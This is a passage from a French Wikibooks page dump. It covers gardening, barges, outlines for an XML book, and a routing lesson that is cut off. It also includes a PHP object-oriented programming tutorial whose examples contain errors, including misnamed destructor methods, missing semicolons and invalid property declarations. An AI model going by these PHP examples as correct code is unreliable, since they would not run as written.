fraise ------------------- maïs, tournesol ------------------- betterave, chou, carotte, laitue, pomme de terre, fraise, tomate ------------------- basilic, carotte, marjolaine, oignons, origan ------------------- carotte, céleri ------------------- asperge, aubergine, carotte, céleri, concombres, laitue, radis, épinard, tomate, haricots, navets ------------------- ail, haricot, pois, fève, chou, maïs, laitue, oignon, pétunia, oeillet d'Inde, radis, potiron, courgettes ------------------- fève, chou, chou-fleur, concombre, laitue, pois, courge, tomate ------------------- asperge, basilic, carotte, oignon, persil, pois, sauge, poireaux, radis | valign="top" width="10%" | *'''Déteste les ...''' ------------------- ------------------- pois, haricot, chou ------------------- oignon ------------------- - ------------------- - ------------------- haricots grimpants ------------------- laitue, fraise, tomate ------------------- fraise ------------------- vigne, fraise tomate ------------------- aneth ------------------- fraise, tomate ------------------- laitue, persil ------------------- pomme de terre ------------------- rue, sauge, pomme de terre ------------------- pomme de terre ------------------- - ------------------- ciboulette, fenouil, ail, poireau ------------------- - ------------------- - ------------------- fève, haricot, pois ------------------- fenouil ------------------- betterave, chou, fève haricot, brocoli ------------------- Ail, échalotte, oignon, poireau ------------------- Carotte, citrouille, tomate, oignon ------------------- vigne, hysoppe ------------------- fenouil, pomme de terre, chou [[Catégorie:Jardinage]] Wikiversité/Présentation 6732 35758 2006-03-04T08:36:19Z Greudin 1 lien vers meta page Bienvenue à la [[Wikiversité:Wikiversité|Wikiversité]], une [[w:université|université]] virtuelle communautaire, collaborative, libre et gratuite, pour apprendre et pour la [[w:recherche|recherche]]. Des cours en ligne sont créés ici sous forme coopérative et d'échanges interactifs de connaissances. ===Avertissement=== La Wikiversité est toujours en construction et en discussion, venez en discuter sur [[wikilivres:Le Bistro#Wikiversité|le bistro]] ou sur [[Wikiversité:Wikiversité|la page projet]]. Lisez ces [[Wikiversité:Quelques idées à propos de la wikiversité|quelques idées à propos de la Wikiversité (à finir de traduire)]] et sur [[m:Wikiversity|le portail des projets de Wikimedia (en anglais)]], et jetez aussi un coup d'œil à la [[m:Wikiresearch|Wikiresearch (en anglais)]] si vous souhaitez faire de la recherche collaborative et placer vos travaux sous licence libre. Programmation XML/Sommaire 6733 30379 2006-01-26T08:05:11Z Boly38 136 /* Sommaire */ -CSS ==Sommaire== *[[Programmation XML/Introduction|Introduction]] {{100}} *[[Programmation XML/Structure d'un document XML|Structure d'un document XML]] {{75}} *[[Programmation XML/Espace de nom|Espace de nom]] *[[Programmation XML/Définition de Type Document|Définition de Type Document]] {{00}} *[[Programmation XML/Parsing |Parsing]] {{00}} **[[Programmation XML/SAX|SAX]] **[[Programmation XML/DOM|DOM]] *[[Programmation XML/XPath|XPath]] *[[Programmation XML/Applications fondamentales|Applications fondamentales]] **[[Programmation XML/XSLT|XSLT]] **[[Programmation XML/XML Schéma|XML Schéma]] **[[Programmation XML/XLink|XLink]] **[[Programmation XML/XPointer|XPointer]] **[[Programmation XML/XForms|XForms]] **[[Programmation XML/XML Query|XML Query]] *[[Programmation XML/Applications finales|Applications finales]] **[[Programmation XML/XHTML|XHTML]] **[[Programmation XML/WML|WML]] **[[Programmation XML/XSL-FO|XSL-FO]] **[[Programmation XML/SOAP|SOAP]] **[[Programmation XML/XML Signature|XML Signature]] **[[Programmation XML/SMIL|SMIL]] **[[Programmation XML/SVG|SVG]] **[[Programmation XML/SyncML|SyncML]] {{75}} **[[Programmation XML/MathML|MathML]] **[[Programmation XML/VoiceXML|VoiceXML]] **[[Programmation XML/X3D|X3D]] **[[Programmation XML/XMI|XMI]] **[[Programmation XML/XUL|XUL]] *[[Programmation XML/Conclusion|Conclusion]] Programmation XML/Informations 6734 30236 2006-01-25T08:26:00Z Boly38 136 création inspirée de [[Programmation JavaScript/Informations]] ===Informations=== * '''Aide : ''' ** [[Discuter:Programmation XML|Laisser un message]] ** {{en}} [[:en:Programming:XML|Programming:XML]] * '''Modèles disponibles : ''' ** [[:Modèle:Programmation XML|<nowiki>{{Programmation XML}}</nowiki>]] ** [[:Modèle:Cadre code|<nowiki>{{cadre code}}</nowiki>]] ** [[:Modèle:Cadre fichier|<nowiki>{{cadre fichier}}</nowiki>]]) * '''À faire''' : ** compléter ** illustrer avec des exemples ** ... Programmation XML Introduction 6735 30240 2006-01-25T08:32:10Z Boly38 136 [[Programmation XML Introduction]] déplacé vers [[Programmation XML/Introduction]]: renommer en sous page #REDIRECT [[Programmation XML/Introduction]] Programmation XML Structure d'un document XML 6737 30244 2006-01-25T08:32:57Z Boly38 136 [[Programmation XML Structure d'un document XML]] déplacé vers [[Programmation XML/Structure d'un document XML]]: renommer en sous page #REDIRECT [[Programmation XML/Structure d'un document XML]] Programmation XML Définition de Type Document 6738 30247 2006-01-25T08:34:07Z Boly38 136 [[Programmation XML Définition de Type Document]] déplacé vers [[Programmation XML/Définition de Type Document]]: renommer en sous page #REDIRECT [[Programmation XML/Définition de Type Document]] Programmation XML Parsing 6739 30250 2006-01-25T08:35:02Z Boly38 136 [[Programmation XML Parsing]] déplacé vers [[Programmation XML/Parsing]]: renommer en sous page #REDIRECT [[Programmation XML/Parsing]] Programmation PHP:Introduction 6741 30262 2006-01-25T08:57:16Z Boly38 136 [[Programmation PHP:Introduction]] déplacé vers [[Programmation PHP/Introduction]]: renommer en sous page #REDIRECT [[Programmation PHP/Introduction]] Programmation PHP:Installer PHP 6742 30264 2006-01-25T08:57:33Z Boly38 136 [[Programmation PHP:Installer PHP]] déplacé vers [[Programmation PHP/Installer PHP]]: renommer en sous page #REDIRECT [[Programmation PHP/Installer PHP]] Programmation PHP:Bases du langage 6743 30266 2006-01-25T08:57:45Z Boly38 136 [[Programmation PHP:Bases du langage]] déplacé vers [[Programmation PHP/Bases du langage]]: renommer en sous page #REDIRECT [[Programmation PHP/Bases du langage]] Programmation PHP:Premier programme 6744 30269 2006-01-25T08:58:46Z Boly38 136 [[Programmation PHP:Premier programme]] déplacé vers [[Programmation PHP/Premier programme]]: renommer en sous page #REDIRECT [[Programmation PHP/Premier programme]] Programmation PHP:Les variables 6746 30280 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PHP/Informations|couleur=lightblue|couleurbord=darkblue|couleurfond=white}} | {{Sous section|nom=Programmation PHP/Sommaire|couleur=lightblue|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | * [[Image:Fairytale filenew.png|24px|]] '''Pour laisser un [http://fr.wikibooks.org/w/wiki.phtml?title=Discuter:Programmation_PHP&action=edit&section=new message, cliquez ici.]''' * [[Image:Fairytale upload.png|24px|]] '''[[Wikilivres:Accueil|Tous les projets de Wikilivres]]''' * [[Image:Fairytale key enter-2.png|24px|]] [http://fr.wikibooks.org/w/index.php?title=Programmation_PHP&action=purge '''Rafraîchir la page'''] |- |} |- |} __NOEDITSECTION__ [[es:Programación:PHP]] [[en:Programming:PHP]] [[et:PHP]] [[ja:PHP]] [[nl:Programmeren in PHP]] [[pl:Programowanie:PHP]] Programmation PHP/Informations 6756 30310 2006-01-25T09:12:57Z Boly38 136 +** [[Wikilivres:Modèles|...]] ===Informations=== * '''Aide : ''' ** [[Discuter:Programmation PHP|Laisser un message]] ** {{en}} [[:en:Programming:PHP|Programming:PHP]] * '''Modèles disponibles : ''' ** [[:Modèle:Programmation PHP|<nowiki>{{Programmation PHP}}</nowiki>]] ** [[:Modèle:Cadre code|<nowiki>{{cadre code}}</nowiki>]] ** [[:Modèle:Cadre fichier|<nowiki>{{cadre fichier}}</nowiki>]]) ** [[Wikilivres:Modèles|...]] * '''À faire''' : ** compléter ** illustrer avec des exemples ** ... Image:Vergerdesmuses.jpg 6757 30309 2006-01-25T09:11:58Z Serged 1045 {{GFDL}} Photo personnelle [[Utilisateur:Serged|Serged]]. SyncML 6758 30319 2006-01-25T09:50:47Z Boly38 136 [[SyncML]] déplacé vers [[Programmation XML/SyncML]]: renommer en sous page du livre XML #REDIRECT [[Programmation XML/SyncML]] Programmation XML/Applications finales 6759 41845 2006-05-10T09:01:10Z 212.157.43.61 {{Programmation XML}} Une '''application finale''' XML est ... ==Liste des applications finales== *[[Programmation XML/XHTML|XHTML]] *[[Programmation XML/WML|WML]] *[[Programmation XML/XSL-FO|XSL-FO]] *[[Programmation XML/SOAP|SOAP]] *[[Programmation XML/XML Signature|XML Signature]] *[[Programmation XML/SMIL|SMIL]] *[[Programmation XML/SVG|SVG]] *[[Programmation XML/SyncML|SyncML]] {{75}} *[[Programmation XML/MathML|MathML]] *[[Programmation XML/VoiceXML|VoiceXML]] *[[Programmation XML/X3D|X3D]] *[[Programmation XML/XMI|XMI]] *[[Programmation XML/XUL|XUL]] Programmation XML/Applications fondamentales 6760 30327 2006-01-25T10:00:03Z Boly38 136 création ébauche {{Programmation XML}} Une '''applications fondamentales''' XML est ... ==Liste des applications fondamentales== *[[Programmation XML/XSLT|XSLT]] *[[Programmation XML/XML Schéma|XML Schéma]] *[[Programmation XML/XLink|XLink]] *[[Programmation XML/XPointer|XPointer]] *[[Programmation XML/XForms|XForms]] *[[Programmation XML/XML Query|XML Query]] Programmation XML/XSL-FO 6761 40216 2006-04-14T09:35:05Z 193.253.60.141 /* L'affinage et la résolution des propriétés */ {{Programmation XML}} ==Introduction à la mise en forme== ==Introduction à XSL-FO== '''XSL-FO''' (eXtensible Stylesheet Language - Formatting Objects) dans la recommandation [[XSL]] du [[W3C]] est le vocabulaire qui décrit les mises en forme de documents [[Extensible markup language|XML]] quel que soit le support : écran, papier mais aussi dispositifs mobiles ou audio... XSL-FO est un langage d'une haute technicité qui s'adresse principalement aux typographes afin de fournir avec les outils de gestion de documents, un outil typographique du niveau attendu par les publications imprimées. L'objectif de XSL-FO est de créer un arbre d'aires où une aire est une zone d'affichage (visuelle ou auditive). Les aires sont de 2 types : *Les aires de blocs s'empilent les unes sur les autres, *Les aires en-ligne s'empilent les unes à côté des autres. XSL-FO fournit l'ensemble des commandes de contrôle de chaque aire : présentation du contenu, direction de l'empilement (écriture de gauche à droite ou inversement, de haut en bas...)... [[Image:XSL-FO.png|300px|thumb|right|Processus de création d'un document de présentation.]] ==Un document "bonjour le monde"== ==Le modèle des aires== ===Modèle d'une page simple=== <!-- Format du tableau : ------------------------------------ -- | | 1 | ------------------------ | -- | | | | 2 | ------------------------ | -- | | | | | | 3 | | | ------- | | | -- | | | | | | | | 4 | | | | | | | | | | | | | | | | | | | | | | | | | | | ------- | | | -- | | | | | | 5 | ------------------------ | -- | | | | 6 | ------------------------ | -- | | 7 ------------------------------------ -- | 1 | 2 | 3 | 4 |5| 6 | 7 | --> {| cellpadding="0" cellspacing="0" width="60%" border="0" align="center" |- <!-- 1ère ligne --> | colspan="4" style="border-left: 1px solid black; border-top: 1px solid black;" align="center" | ''Page viewport area'' | colspan="3" style="border-top: 1px solid black; border-right: 1px solid black;" width="50%" | I margin-top |- <!-- 2ème ligne --> | width="5%" style="border-left: 1px solid black; border-right: 1px dashed black;" | &#160; | colspan="5" style="border-top: 1px dashed black; border-bottom: 1px solid black; " align="center" | region-before<br/>region viewport area | width="5%" style="border-left: 1px dashed black; border-right: 1px solid black;" | &#160; |- <!-- 3ème ligne --> | width="5%" style="border-left: 1px solid black; border-right: 1px dashed black;" | &#160; | width="5%" style="border-right: 1px solid black;" | &#160; | colspan="3" style="border-right: 1px solid black;" | &#160;<br/>&#160; | width="5%" style="border-right: 1px dashed black;" | &#160; | width="5%" style="border-right: 1px solid black;" | &#160; |- <!-- 4ème ligne --> | width="5%" style="border-left: 1px solid black; border-right: 1px dashed black;" align="center" | ___<br/>[[Image:Point rouge.gif|margin-left]] | width="5%" style="border-right: 1px solid black;" align="center" | [[Image:Point rouge.gif|Region-start - region viewport area]] | width="5%" style="border-right: 1px solid black;" | &#160; | width="60%" style="border-right: 1px solid black; border-top: 1px solid black; border-bottom: 1px solid black;" bgcolor="lightyellow" align="center"| &#160;<br/><br/>Region-body<br/>region viewport area<br/><br/>&#160;<br/><br/>&#160;<br/><br/>&#160; | width="5%" style="border-right: 1px solid black;" | &#160; | width="5%" style="border-right: 1px dashed black;" align="center" | [[Image:Point rouge.gif|Region-end - region viewport area]] | width="5%" style="border-right: 1px solid black;" align="center" | ___<br/>[[Image:Point rouge.gif|margin-right]] |- <!-- 5ème ligne --> | width="5%" style="border-left: 1px solid black; border-right: 1px dashed black;" | &#160; | width="5%" style="border-right: 1px solid black;" | &#160; | colspan="3" style="border-right: 1px solid black;" | &#160;<br/>&#160; | width="5%" style="border-right: 1px dashed black;" | &#160; | width="5%" style="border-right: 1px solid black;" | &#160; |- <!-- 6ème ligne --> | width="5%" style="border-left: 1px solid black; border-right: 1px dashed black;" | &#160; | colspan="5" style="border-top: 1px solid black; border-right: 1px dashed black; border-bottom: 1px dashed black; " align="center" | region-after<br/>region viewport area | width="5%" style="border-right: 1px solid black;" | &#160; |- <!-- 7ème ligne --> | colspan="4" style="border-left: 1px solid black; border-bottom: 1px solid black;" align="center" | &#160; | colspan="3" style="border-bottom:1px solid black; border-right: 1px solid black;" | I margin-bottom |- |} ==L'affinage et la résolution des propriétés== ==Les objets de mise en forme== ==Les propriétés de mise en forme== ==Liens externes== {{Vérifier|les liens externes|le 25 janvier 2006}} * {{en}} [http://www.w3.org/TR/xsl/ w3.org] Recommandation du W3C. * {{fr}} [http://www.yoyodesign.org/doc/w3c/xsl1/Overview.html yoyodesign.org] Traduction de la recommandation du W3C version 1.0 du 15 octobre 2001. * {{en}} [http://www.w3schools.com/xslfo/ w3schools.com] Apprendre XSL-FO avec w3schools (tutorial, documentation...) * {{en}} [http://xml.apache.org/fop/index.html xml.apache.org] FOP, le moteur XSL-FO d'Apache ::''FOP est une application Java qui accepte un document FO et génère une page dans différents formats : PDF, PCL, PS, SVG, XML, Print, AWT, MIF and TXT. Le principal format de sortie étant le [[w:fr:Portable Document Format|PDF]].'' Modèle:Vérifier 6762 30335 2006-01-25T10:24:08Z Boly38 136 import depuis WP fr ''<small>La dernière vérification concernant {{{1}}} a été effectuée le {{{2}}}.</small>''<noinclude> ---- Le modèle ci-dessous s'utilise comme ceci : <nowiki>{{vérifier|les liens externes|28 décembre 2005}}</nowiki> [[Catégorie:Modèle texte]]</noinclude> MediaWiki:Anonnotice 6767 30372 2006-01-25T22:34:26Z Greudin 1 Avertissement : le système ouvert de Wikilivres permettant à chacun de modifier les pages, nous ne pouvons garantir la validité permanente du contenu. Veuillez également noter que toutes les modifications sont archivées dans l'historique de la page ainsi que l'adresse internet des contributeurs non inscrits. Péniche 6771 30399 2006-01-26T11:51:19Z Jimpqfly 1092 == Définition == Une péniche est un bateau de transport de marchandises, bateau se limitant à naviguer principalement sur les cours d'eau (canaux, rivières, fleuves). == Histoire == == Description == On trouve de nombreux types de péniches : Les péniches à coque en bois, les premières jamais construites sont quasi-inexistantes de nos jours, le temps ayant fait son oeuvre. Les péniches à coque en acier représentent l'immense majorité de ce qu'on peut voir aujourd'hui sur nos cours d'eau. 1. Le Freycinet Le Freycinet est la péniche traditionnelle française. Ses dimensions sont de 38 mètres de longueur sur 5 mètres de largeur, et coïncident avec le '''gabarit Freycinet''' de 40m X 5,20m. 2. Le Luxemotor 3. Le Tjalk 4. Le Klipper Préparation du terrain 6773 33986 2006-02-22T16:42:49Z Zivax 1021 Actuellement les jardins potagers ont un engouement de plus en plus important et ressemblent toujours aux plantations de notre enfance, le jardin de grand-père. Se promener dans les allées de légumes bien alignés, circuler entre les salades appétissantes qui seront récoltées et croquées sur la table préparée par grand-mère, et quels souvenirs gardons nous des parfums entremêlés à l’approche des planches contenant le thym, la ciboulette et le persil. Quel fierté d’offrir ses récoltes aux enfants, de montrer à ses petits enfants les tomates rougissantes et les citrouilles énormes qui font leur émerveillement, au lieu de les acheter au supermarché ou à l’épicerie du coin. Ce petit jardin sera pour vous et vos enfants un champ d’expérimentation, et d’apprentissage de la nature, et un bel enseignement de la vie. Un potager doit être toujours bien tenu, avec suffisamment d’espace et bien ensoleillé. La terre est une matière vivante, contenant des petits animaux et des insectes, comme le [[w:Lumbricina|ver de terre]] qu'il faut protéger, car très utile pour aérer le sol. Il digère les matières végétales en décomposition, pour les rejeter sous forme de déjection très fertilisante. == Travaux de la terre == Que le terrain soit acide, basique ou neutre, il faudra labourer, travailler et bêcher en incorporant du [[Compost|compost]] au printemps et à l'automne, pour enrichir et alléger la terre. Le travail du sol consiste à arracher les herbes indésirables (il n'y a pas de mauvaises herbes) à l'aide d'une [[w:Bêche|bêche]] ou d'une [[w:Bêche|fourche bêche]], pour la préparation à l'aide d'un [[w:Râteau|râteau]], d'une nouvelle planche de semis ou de repiquage. == Préparation == Avoir des légumes sains nécessite une terre saine donc de qualité. Le sol du jardin doit être riche et généreux. Un travail de fond du terrain est nécessaire. * Mettre régulièrement du [[compost]] * Planter des [[Engrais vert|engrais vert]] alternés avec les plantations * Préserver les [[w:Lumbricina|ver de terre]] * Préserver la terre avec des [[Paillis|paillis]] * Renforcer la terre en phosphores avec de la poudre d'os ou d'arêtes de poissons (vendu en magasin) == Arrosage == *Pas d’arrosage par aspersion : le feuillage de nombreuses plantes sensibles aux maladies tel que tomates, courges, pomme de terre, etc… *Arroser avec l'arrosoir à pomme ou avec des tuyaux poreux pour le goutte à goutte au pied des légumes. *Arroser le matin ou le soir à la fraiche, éviter le soleil. == Culture == Semez et plantez au bon moment. Des légumes plantés trop tôt ou trop tard végéteront tant que la température appropriée ne leur sera pas propice. Des semis effectués trop tardivement s'enracineront avec difficulté dans une terre devenue trop dure, ce qui nécessitera un arrosage trop important pour un rendement très insuffisant. Ne pas semer ni planter trop serré; il faut garder un bon espacement entre les plants pour une bonne croissance, et une propagation des maladies limitée. Les espaces entre les plantations sont standardisés par expérience. Il faut respecter une culture de rotation pour éviter de cultiver plusieurs années de suite des légumes de la même famille au même endroit du potager. Cette rotation présente beaucoup d'atouts : * les mêmes maladies ne sont pas directement transmises d'une année à l'autre aux mêmes cultures, * les besoins des espèces sont différents, le sol se régénère en quelques années * les adventices sont mieux contrôlées. == Voisins utiles == Il faut éviter certaines associations de légumes c’est à dire réaliser un '''[[Compagnonnage|compagnonnage]]''' identifié, et placer les plants à proximité de voisins utiles. Les anciens appellent cet art des associations le '''[[Compagnonnage|compagnonnage]]'''. Il consiste à optimiser les plantations au potager, en donnant à chaque légume un ou plusieurs bons voisins, qui éloignent insectes, maladies ou mauvaises herbes. [[Catégorie:Jardinage]] Programmation PHP/La programmation orientée objet 6778 37853 2006-03-16T00:49:11Z 86.200.158.227 /* Les méthodes prédéfinies */ {{Programmation PHP}} == La programmation orientée objet == Pré requis : Maîtrise des bases du PHP Un objet est un format complexe de variable regroupant des variables et des fonctions. La programmation orientée objet s’éffectue en deux étapes : la définition des classes puis leur utilisation. Une fois la classe définie, il sera possible de créer une infinité d’objets du format de la classe définie. Les fonctions d’une classe sont appelées les méthodes et les variables les propriétés === Définition des classes === Définir une classe adopte la syntaxe suivante : <pre> class nomObjet { var $variable1; var $variable2; ... function maFonction1() { ...code } function maFonction2() { } } </pre> Il est possible d’attribuer une valeur par défaut. Le code dans la classe est alors var $variable1 = valeur ; La définition de fonctions dans une classe est identique à celle de n’importe quelle fonction à la différence que lorsqu’elle fait référence à une variable de la classe, $variable doit être $this->variable. De même pour exécuter une fonction de la classe. ex : <pre> class client { var $aDitBonjour = false; function direBonjour() { $this->message("Bonjour"); } function message($message) { echo $message; $this->aDitBonjour = true; } } </pre> === Utilisation d’un objet === Attention : la classe est la définition d’un format de variable personnalisable. Le code n’est pas exécuté et il est impensable d’introduire le code suivant qui n’aurait aucun sens : <pre> class client { for ($i=0; $i<5; $i++) echo "$i\n"; } </pre> Une fois la classe définie, il va falloir créer des variables objet du format de la classe définie. On crée un objet par le code suivant : <pre> $objet = new client(); </pre> Il faut bien entendu avoir préalablement définit la classe client. La variable $objet contient donc un objet. Pour accéder à une variable pour lui faire subir des modifications, il suffit d’entrer le code suivant : <pre> $objet->variable1 = "Hello world"; </pre> Il est possible de lui faire subir les mêmes opérations qu’à une variable normale. De même pour exécuter une fonction : <pre> $objet->maFonction(); </pre> Autant les méthodes une fois définies ne peuvent pas être modifiées, autant il est possible d’ajouter ou de supprimer des variables dans l’objet : <pre> $objet->variable = "valeur"; //definition de variable unset( $objet->variable ); //supressions </pre> L’objet est unique, de sorte que s’il est enregistré dans une autre variable et qu’une modification lui est faite, elle sera visible pour les deux variables : <pre> //Le code reprend l'ancien script $objet = new client(); $objet2 = $objet; $objet2->direBonjour(); echo $objet->aDitBonjour; //affiche true Pour dupliquer une variable, il faut donc entrer le code suivant : $objet2 = clone $objet; La nouvelle variable sera différente de l’ancienne mais aura les mêmes valeurs. </pre> Il est également possible d'exécuter la méthode d'un objet sans avoir créé de variable auparavent: <pre> class Message { function direBonjour() { echo "salut"; } } /* Exécute la méthode */ Message::direBonjour(); </pre> === Les méthodes prédéfinies === Il existe quelques méthodes pré-définies qui s’exécutent à des périodes de la vie de l’objet : ==== Constructeur et destructeur ==== - __construct() Cette méthode s’exécute lors de la création de l’objet. On entre alors les attributs potentiels de la fonction lors de sa création. Cette méthode est appelée "le constructeur" - __destuct() Cette méthode s’exécute au contraire au moment de la destruction de la variable. Elle est appelée "le destructeur". Attention, ces deux méthodes sont précédées de deux underscores. Voici un exemple utilisant les méthodes : <pre> //Definition de la classe class Humain { public $homme = false; public $femme = false; function __construct($type) { if ($type=="homme") $this->homme=true; if ($type=="femme") $this->femme=true; } function extremeOnction() { echo 'Amen'; } function __destroy() { $this->extremeOnction(); } } //C'est un garçon ! $homme = new Humain("homme"); if ($homme->homme) { echo "C'est un homme"; } elseif ($homme->femme) { echo "C'est une femme"; } //mort de l'homme unset($homme); /* La sortie sera C'est un homme Amen */ </pre> Sous php4, le constructeur avait pour nom celui de la classe. Sous php5, si la fonction __construct() n’est pas trouvée, l’interprêteur cherchera une méthode du même nom que la classe. ==== Copie en profondeur ==== Il existe une méthode qui s’exécute lors d’une duplication de l’objet. Son nom est __clone() ; ==== Magic function __get, __set, __call ==== Ces méthodes permettent de rendre dynamique l'utilisation de la classe ===== __get ===== Déclaration: <pre> function __get($name) { // contenu } </pre> Cette méthode a pour vocation de retourner une donnée dépendant du contenu de la variable $name. A vous de lui faire executer ce que vous voulez. Important: le contenu de la variable $name ne sera pas prioritaire sur le nom d'une variable interne à la class.<br\> Explication <pre> class test { public $a; private $b; function __construct($a,$b) { $this->a=$a; $this->b=$b; } function __get($name) { echo "On a appelé __get(\$$name)"; } } // utilisation $var=new test(5,10); echo $var->a; // affiche: 5 echo $var->b; // erreur!! b est privée et ne peut donc pas être accedée. Ce n'est pas __get qui est appelé mais l'accès à la variable en direct echo $var->__get('a'); // affiche: "On a appelé __get($a)" </pre> On voit ici que PHP va en priorité chercher en priorité de retourner une variable interne. Attention donc si celle ci est privée. Une méthode pour qu'il n'y ait pas de confusion: preceder les variables privée d'un '_'. Dans la méthode __get faire ceci: <pre> function __get($name) { $temp='_'.$name; return $this->$temp; } </pre> ===== __set ===== Déclaration: <pre> function __set($name,$value) { // contenu } Cette méthode a pour vocation de modifier une variable (quelle variable: $name) par une nouvelle valeur (laquelle: $value). En repartant de l'exemple ci-dessus, il est alors possible de l'utiliser en faisant tout simplement: <pre> class test { private _a; private _b; function __construct($a,$b) { $this->_a=$a; $this->_b=$b; } function __get($name) { $temp='_'.$name; return $this->$temp; } function __set($name,$value) { $temp='_'.$name; $this->$temp=$value; } } $var=new test(5,10); $var->a=6; // appelle __set('a',6) echo $var->a; // appelle __get('a') </pre> === Héritage === Il est possible de faire hériter une classe des propriétés et méthodes d’une autre classe. Ex : <pre> class parent { var $varParent; function functionParent() { } } class enfant extends parent { var $varEnfant; function functionEnfant() { } } </pre> L’objet enfant bénéficiera des propriétés et des méthodes de la classe parent. === Restriction d’accès === Il est possible depuis PHP5 d’empêcher d’accéder à une variable par un autre biais que celui d’une méthode de l’objet. Il suffit de remplacer var par private lors de la définition de la variable. De même avec une méthode : <pre> class CompteEnBanque { private $argent = 0; private function ajouterArgent($valeur) { $this->argent += $valeur; } function gagnerArgent($valeur) { $this->ajouterArgent($valeur); } } $compte = new CompteEnBanque() //les actions suivantes sont impossibles: $compte->argent = 3000; $compte->ajouterArgent(3000); //l'action suivante est possible $compte->gagnerArgent(3000); </pre> En effet, il faut gagner de l’argent avant d’en ajouter à la banque (quoique...) Attention : ce code retournera un message d’erreur si il est exécuté sous PHP5 ou une version ultérieure === La gestion des erreurs === Une classe de gestion des erreurs nommée Exception est gracieusement mise à votre disposition par l’interpréteur php. Voici un exemple d’utilisation. Attention, elle n'est disponible qu'à partir de PHP5. <pre> class Humain { var $age; function __construct($combien) { $this->age = $combien; try { if ($this->age<0) throw new Exception('Un peu jeune') if ($this->age>200) throw new Exception('Un peu vieux') } catch (Exception $e) { echo $e->getMessage(); exit(); } } } //Retournera un message d'erreur $humain = new Humain(700); $humain = new Humain(-3); //Sans erreur $humain = new Humain(16); </pre> === Quelques fonctions intégrées === Voici quelques fonctions en relation avec la programmation orientée objet qui peuvent vous être utiles. - class_exists( string ) Vérifie qu’une classe existe. Renvoie une valeur booleenne. ex : <pre> if( class_exists('myClass')) $var = new myClass(); </pre> - get_class_methods( class ) Retourne les méthodes d’une classe sous forme de tableau. ex : <pre> $maClasse = new Classe(); $methods = get_class_methods( $maClasse ); print_r($methods); </pre> - get_class_vars( class ) Retourne les variables ainsi que leurs valeurs par défaut sous forme de tableau ex : <pre> $maClasse = new Classe(); $methods = get_class_vars( $maClasse ); print_r($methods); </pre> Programmation PHP/Dossiers 6779 31175 2006-02-02T09:59:11Z 84.6.135.82 {{Programmation PHP}} Le PHP possède une vaste gamme de librairies de fonctions et extensions malheureusement peu connues des programmeurs amateurs. Voici donc une série de dossiers très ciblés indépendants les uns des autres, qui ne demandent qu'une connaissance du langage de base. Réseaux TCP/IP : le routage IP statique 6780 45808 2006-06-26T15:03:11Z 217.109.171.226 /* Un exemple de routage */ {{Reseaux TCP/IP}} [[Reseaux_TCP/IP|Retour au sommaire]] ==Le cours sur le routage== ===Interconnexion de réseaux=== Pour interconnecter des réseaux IP, on utilise des routeurs IP. Les routeurs sont des boîtiers dédiés possédant un certain nombre d’interfaces (éthernet, liaison série, …) permettant le communication entre les machines des différents réseaux. ===Objectif du routage=== Il faut configurer chaque machine et chaque routeur pour que toutes les machines puissent envoyer un datagramme IP à n’importe quelle autre machine. Pour cela, il faudra notamment configurer la table de routage de chaque routeur et chaque machine. ===Interface réseaux === Il s’agit d’un moyen d’accéder à un réseau : une carte éthernet, une liaison série, ... Les cartes ethernet d’une machine ou d’un routeur seront notées eth0, eth1, eth2, …. Les liaisons séries seront notées ppp0, ppp1, … ===Un exemple de routage=== [[Image:Réseaux_IP_1.gif |400px|left|''Un exemple de 4 réseaux IP connectés par deux routeurs'']] <br/> Sur ce schéma on voit 4 réseaux éthernet A, B, C et D. A et B sont relié à un routeur R1. C et D sont reliés à un routeur R2. Les 2 routeurs R1 sont reliés entre eux par une liaison bipoint qui pourrait être par exemple une liaison par modem. ===Remise directe et indirecte=== Lorsque X veut envoyer un datagramme à X’, a va envoyer ce datagramme directement sur sa carte éthernet sans passer par le routeur : on parle alors de '''remise directe'''.<br/> Lorsque X veut envoyer un datagramme IP à Z, X va envoyer ce datagramme à R1, R1 enverra ce datagramme à R2 et R2 l’enverra à Z : on parle alors de '''remise indirecte'''.<br/> ===Philosophie du routage IP=== *Aucune machine ni aucun routeur ne connaît le plan complet du réseau. *Chaque machine et chaque routeur possède une table de routage : lorsqu’une machine veut envoyer un datagramme IP à une autre, elle regarde sa table de routage qui lui dit : **si le destinataire est directement accessible grâce à une interface **sinon l’adresse IP du routeur auquel il faut envoyer le datagramme. Ce routeur doit être directement accessible *On indique à chaque étape le routeur suivant : on parle de "next hop routing". ===Un premier exemple === [[Image:Réseaux_IP_2.gif |400px|left|''Un exemple de 2 réseaux IP connectés par un routeur'']] <br/><br/> * '''Adressage IP''' **Sur le réseau A, on utilisera les adresses IP du réseau 200.50.60.0 de masque 255.255.255.0. **Sur le réseau B, on utilisera les adresses IP du réseau 200.50.61.0 de masque 255.255.255.0. *'''Adresses IP des interfaces''' **Chaque interface possède une adresse IP **Machine X : une interface eth0 d’adresse IP 200.50.60.1 **Machine X’ : une interface eth0 d’adresse IP 200.50.60.2 **Machine Y : une interface eth0 d’adresse IP 200.50.61.1 **Machine Y’ : une interface eth0 d’adresse IP 200.50.61.2 **Le routeur R a 2 interfaces et il aura donc 2 adresses IP <br/> eth0 d’adresse IP 200.50.60.3 <br/> eth1 d’adresse IP 200.50.61.3 <br/> *'''Table de routage de X ''' <pre> Adresse réseau Masque Passerelle Interface 200.50.60.0 255.255.255.0 200.50.60.1 200.50.60.1 200.50.61.0 255.255.255.0 200.50.60.3 200.50.60.1 </pre> **Une table de routage sera constitué de lignes comportant des quadruplets : adresse, masque, passerelle, et interface. **Pour la première ligne, la passerelle est égale à l’interface : cela signifie que pour envoyer un datagramme à une machine du réseau 200.50.60.0 de masque 255.255.255.0, X peut remettre directement ce datagramme au destinataire grâce à son interface 200.50.60.1. **Pour la deuxième ligne, la passerelle est différente de l’interface : cela signifie que pour envoyer un datagramme à une machine du réseau 200.50.61.0 de masque 255.255.255.0, la remise est indirecte et X doit envoyer ce datagramme au routeur 200.50.60.3 grâce à son interface 200.50.60.1. *'''Table de routage de X' ''' <pre> Adresse réseau Masque Passerelle Interface 200.50.60.0 255.255.255.0 200.50.60.2 200.50.60.2 200.50.61.0 255.255.255.0 200.50.60.3 200.50.60.2 </pre> **Pour la première ligne, la passerelle est égale à l’interface : cela signifie que pour envoyer un datagramme à une machine du réseau 200.50.60.0 de masque 255.255.255.0, X’ peut remettre directement ce datagramme au destinataire grâce à son interface 200.50.60.2. **Pour la deuxième ligne, la passerelle est différente de l’interface : cela signifie que pour envoyer un datagramme à une machine du réseau 200.50.61.0 de masque 